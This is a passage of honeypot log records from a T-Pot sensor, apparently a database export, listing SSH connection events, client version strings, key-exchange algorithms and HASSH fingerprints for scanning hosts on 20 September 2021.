6;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24036	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:08:19.281982+03	2021-09-20 14:15:08.270471+03	{"_id": "ZwbkAnwBvYTbRNuEeBD2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1420965965921556, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35852, "dest_port": 22, "timestamp": "2021-09-20T11:08:19.281982Z", "@timestamp": "2021-09-20T11:08:19.281Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24037	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:19.282169+03	2021-09-20 14:15:08.27147+03	{"_id": "agbkAnwBvYTbRNuEeRDb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35852, "timestamp": "2021-09-20T11:08:19.282169", "@timestamp": "2021-09-20T11:08:19.282Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24038	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:19.860719+03	2021-09-20 14:15:08.273471+03	{"_id": "dQbkAnwBvYTbRNuEehB9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:51182 (192.168.176.2:22) [session: da2c9fe35ec9]", "session": "da2c9fe35ec9", "@version": "1", "protocol": "ssh", "src_port": 51182, "dest_port": 22, "timestamp": "2021-09-20T11:08:19.860719Z", "@timestamp": "2021-09-20T11:08:19.860Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24039	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:20.137231+03	2021-09-20 14:15:08.274471+03	{"_id": "dwbkAnwBvYTbRNuEehB9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:40156 (192.168.176.2:22) [session: 8acc74391e84]", "session": "8acc74391e84", "@version": "1", "protocol": "ssh", "src_port": 40156, "dest_port": 22, "timestamp": "2021-09-20T11:08:20.137231Z", "@timestamp": "2021-09-20T11:08:20.137Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24040	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:19.337122+03	2021-09-20 14:15:08.275471+03	{"_id": "gwbkAnwBvYTbRNuEehB9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "71345146d39d", "@version": "1", "timestamp": "2021-09-20T11:08:19.337122Z", "@timestamp": "2021-09-20T11:08:19.337Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24041	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:19.567548+03	2021-09-20 14:15:08.27647+03	{"_id": "hAbkAnwBvYTbRNuEehB9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "13492276f6cb", "@version": "1", "duration": 2.4186575412750244, "timestamp": "2021-09-20T11:08:19.567548Z", "@timestamp": "2021-09-20T11:08:19.567Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24042	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:19.944855+03	2021-09-20 14:15:08.27747+03	{"_id": "hQbkAnwBvYTbRNuEehB9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "da2c9fe35ec9", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:19.944855Z", "@timestamp": "2021-09-20T11:08:19.944Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24043	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:20.138012+03	2021-09-20 14:15:08.279471+03	{"_id": "hgbkAnwBvYTbRNuEehB9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8acc74391e84", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:20.138012Z", "@timestamp": "2021-09-20T11:08:20.138Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24044	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:20.178039+03	2021-09-20 14:15:08.280471+03	{"_id": "hwbkAnwBvYTbRNuEehB9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "671c62b37a79", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:20.178039Z", "@timestamp": "2021-09-20T11:08:20.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24045	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:08:20.230393+03	2021-09-20 14:15:08.281471+03	{"_id": "iAbkAnwBvYTbRNuEehB9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "be2922540f08", "@version": "1", "duration": 2.7585184574127197, "timestamp": "2021-09-20T11:08:20.230393Z", "@timestamp": "2021-09-20T11:08:20.230Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24046	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:08:20.141578+03	2021-09-20 14:15:08.282471+03	{"_id": "iQbkAnwBvYTbRNuEfBDd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1857639585929411, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51182, "dest_port": 22, "timestamp": "2021-09-20T11:08:20.141578Z", "@timestamp": "2021-09-20T11:08:20.141Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24047	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:08:20.410807+03	2021-09-20 14:15:08.283471+03	{"_id": "igbkAnwBvYTbRNuEfBDd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 856703899998475, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57460, "dest_port": 22, "timestamp": "2021-09-20T11:08:20.410807Z", "@timestamp": "2021-09-20T11:08:20.410Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24048	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:20.414712+03	2021-09-20 14:15:08.285471+03	{"_id": "iwbkAnwBvYTbRNuEfBDd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1175536502250022, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40156, "dest_port": 22, "timestamp": "2021-09-20T11:08:20.414712Z", "@timestamp": "2021-09-20T11:08:20.414Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24049	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:08:20.954518+03	2021-09-20 14:15:08.28647+03	{"_id": "jAbkAnwBvYTbRNuEfBDd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1608003201803763, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48600, "dest_port": 22, "timestamp": "2021-09-20T11:08:20.954518Z", "@timestamp": "2021-09-20T11:08:20.954Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24050	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:20.138518+03	2021-09-20 14:15:08.28747+03	{"_id": "jgbkAnwBvYTbRNuEfRDC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40156, "timestamp": "2021-09-20T11:08:20.138518", "@timestamp": "2021-09-20T11:08:20.138Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24051	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:20.141633+03	2021-09-20 14:15:08.28847+03	{"_id": "kAbkAnwBvYTbRNuEfRDC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51182, "timestamp": "2021-09-20T11:08:20.141633", "@timestamp": "2021-09-20T11:08:20.141Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24052	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:20.410953+03	2021-09-20 14:15:08.289471+03	{"_id": "kQbkAnwBvYTbRNuEfRDC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57460, "timestamp": "2021-09-20T11:08:20.410953", "@timestamp": "2021-09-20T11:08:20.410Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
